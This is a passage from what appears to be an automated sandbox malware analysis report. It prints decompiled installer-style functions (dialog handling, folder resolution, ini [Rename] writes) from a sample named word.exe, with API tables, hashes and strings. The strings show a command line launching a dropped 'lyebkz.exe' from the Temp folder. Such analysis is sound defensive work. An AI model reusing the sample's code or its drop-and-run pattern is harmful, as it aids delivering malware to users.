								SendMessageW( *0x42a268, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a268, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
						goto L27;
					} else {
						_t116 =  *0x422720 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004045E6(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404A0E();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x42923c - 4 + _t75 * 4);
				}
				_t76 =  *0x42a298 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404734;
				if(_t110 != 2) {
					_v8 = E004046FA;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E004045C4(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E004045C4(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004045E6( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004045F9(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a270 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x421714 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x421714 = 0;
				return 0;
			}

0x00404795
0x004048c2
0x0040491f
0x00404923
0x004049f0
0x004049f2
0x004049f2
0x004049f8
0x004049f8
0x004049fb
0x00000000
0x00404a02
0x00404931
0x00404937
0x00404941
0x0040494c
0x0040494f
0x00404952
0x0040495d
0x00404960
0x00404967
0x00404974
0x00404985
0x0040498b
0x00404993
0x004049a1
0x004049a7
0x004049a7
0x00404967
0x004049b1
0x00000000
0x004049bc
0x004049c0
0x004049d0
0x004049d0
0x004049d6
0x004049e2
0x004049e2
0x00000000
0x004049e6
0x004049b1
0x004048cd
0x00000000
0x004048df
0x004048e4
0x004048ea
0x00000000
0x00000000
0x00404913
0x00404915
0x0040491a
0x00000000
0x0040491a
0x004048cd
0x0040479b
0x0040479e
0x004047a3
0x004047b4
0x004047b4
0x004047bc
0x004047bf
0x004047c3
0x004047c6
0x004047ca
0x004047cd
0x004047d0
0x004047d3
0x004047da
0x004047dc
0x004047dc
0x004047e6
0x004047f3
0x004047fd
0x00404802
0x00404805
0x0040480a
0x00404821
0x00404828
0x0040483b
0x0040483e
0x00404852
0x00404859
0x0040485e
0x00404863
0x00404863
0x00404871
0x0040487f
0x00404891
0x00404896
0x004048a6
0x004048a8
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404821
GetDlgItem.USER32(?,000003E8), ref: 00404835
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
GetSysColor.USER32 ref: 00404863
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
lstrlenW.KERNEL32(?), ref: 00404884
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
GetDlgItem.USER32(?,0000040A), ref: 004048FF
SendMessageW.USER32(00000000), ref: 00404906
GetDlgItem.USER32(?,000003E8), ref: 00404931
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
LoadCursorW.USER32 ref: 00404982
SetCursor.USER32(00000000), ref: 00404985
LoadCursorW.USER32 ref: 0040499E
SetCursor.USER32(00000000), ref: 004049A1
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2

Strings

N, xrefs: 0040491F
"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 00404960

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$N
API String ID: 3103080414-3302949443
Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004062AE Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062AE(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x426de8 = 0x55004e;
				 *0x426dec = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x4275e8
					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
						_t53 = _t52 + 0x10;
						E004066A5(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a270 + 0x128)));
						_t12 = E00406158(0x4275e8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004061DB(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E004060BD(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E004060BD(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00406113(_t24 + _t46, 0x4269e8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E0040620A(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00406158(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x004062ae
0x004062b7
0x004062be
0x004062c8
0x004062dc
0x00406304
0x0040630b
0x0040630f
0x00406313
0x00406333
0x0040633a
0x00406344
0x00406351
0x00406356
0x0040635b
0x0040635f
0x0040636e
0x00406370
0x0040637d
0x00406381
0x0040641c
0x00000000
0x00406397
0x004063a4
0x004063c8
0x004063cc
0x004063eb
0x004063ef
0x004063ef
0x004063f1
0x004063fa
0x00406405
0x00406410
0x00406416
0x00000000
0x00406416
0x004063ce
0x004063d1
0x004063dc
0x004063d8
0x004063da
0x004063db
0x004063db
0x004063e3
0x004063e5
0x00000000
0x004063e5
0x004063af
0x004063b5
0x00000000
0x004063b5
0x00406381
0x0040635f
0x004062de
0x004062e9
0x004062f2
0x004062f6
0x00000000
0x00000000
0x004062f6
0x00406427

APIs

CloseHandle.KERNEL32(00000000), ref: 004062E9
GetShortPathNameW.KERNEL32 ref: 004062F2

Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

GetShortPathNameW.KERNEL32 ref: 0040630F
wsprintfA.USER32 ref: 0040632D
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
GlobalFree.KERNEL32(00000000), ref: 00406416
CloseHandle.KERNEL32(00000000), ref: 0040641D

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Strings

uB, xrefs: 0040630B
[Rename], xrefs: 00406397, 004063A9
%ls=%ls, xrefs: 00406323
uB, xrefs: 00406304
mB, xrefs: 004062D7

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a270;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066A5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004066A5(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x42923c - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x42a298 + _t44 * 2;
				_t45 = 0x428200;
				_t108 = 0x428200;
				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E00406668(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E004066A5(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x428200;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x42b000;
								E00406668(_t108, (_t78 << 0xb) + 0x42b000);
							} else {
								E004065AF(_t108,  *0x42a268);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004068EF(_t108);
							}
							goto L38;
						}
						if( *0x42a2e4 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x42a264;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x42a268,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x42a268,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E00406536( *0x42a298, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a298 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E004066A5(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x004066a5
0x004066a5
0x004066a5
0x004066ab
0x004066b0
0x004066c1
0x004066c1
0x004066c9
0x004066ca
0x004066cb
0x004066cc
0x004066cf
0x004066d7
0x004066d9
0x004066ea
0x004066ed
0x004066ed
0x004066f1
0x004066f7
0x004066fa
0x004068d5
0x004068d5
0x004068e0
0x004068ec
0x004068ec
0x00000000
0x00406700
0x00406705
0x0040671a
0x0040671b
0x00406721
0x004068b3
0x004068c1
0x004068c4
0x004068c4
0x004068b5
0x004068b8
0x004068bb
0x004068bd
0x004068bd
0x004068c6
0x004068c6
0x004068cc
0x004068cf
0x00406702
0x00000000
0x00406702
0x00000000
0x004068cf
0x00406727
0x0040672a
0x00406739
0x00406740
0x0040674c
0x0040674f
0x00406752
0x00406753
0x00406758
0x0040675e
0x00406761
0x00406764
0x00406857
0x0040685c
0x0040688f
0x00406894
0x00406899
0x0040689e
0x0040689e
0x004068a3
0x004068a9
0x004068ac
0x00000000
0x004068ac
0x0040685e
0x00406861
0x00406864
0x00406879
0x00406880
0x00406866
0x0040686d
0x0040686d
0x00406888
0x0040688b
0x0040684f
0x00406850
0x00406850
0x00000000
0x0040688b
0x00406771
0x00406775
0x00406775
0x00406776
0x00406778
0x004067b5
0x004067b8
0x004067c8
0x004067cb
0x004067d3
0x004067d9
0x004067d9
0x00406834
0x00406834
0x00406836
0x00000000
0x00000000
0x004067dd
0x004067e2
0x004067e3
0x004067e5
0x004067fc
0x0040680a
0x00406810
0x00406812
0x00406830
0x00406830
0x00406830
0x00000000
0x00406830
0x00406818
0x00406821
0x00406824
0x0040682a
0x0040682e
0x00000000
0x00000000
0x00000000
0x0040682e
0x004067f6
0x004067f8
0x004067fa
0x00000000
0x00000000
0x00000000
0x004067fa
0x00000000
0x00406834
0x004067c0
0x00000000
0x0040677a
0x00406798
0x004067a1
0x0040683e
0x00406842
0x0040684a
0x0040684a
0x00000000
0x00406842
0x004067ab
0x00406838
0x0040683c
0x00000000
0x00000000
0x00000000
0x0040683c
0x00406778
0x00000000
0x00406705

APIs

GetSystemDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000400), ref: 004067C0
GetWindowsDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
lstrcatW.KERNEL32 ref: 0040684A
lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040678E
"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx, xrefs: 004066CF, 00406782, 00406789, 0040678D, 004067AA, 004067BF, 004067D2, 004067E7, 00406814, 00406849, 0040684F, 0040686C, 0040687F, 0040689D, 004068A3, 004068AC, 004068E2
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406844

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-2493358276
Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004056CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056CA(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429244;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a314;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
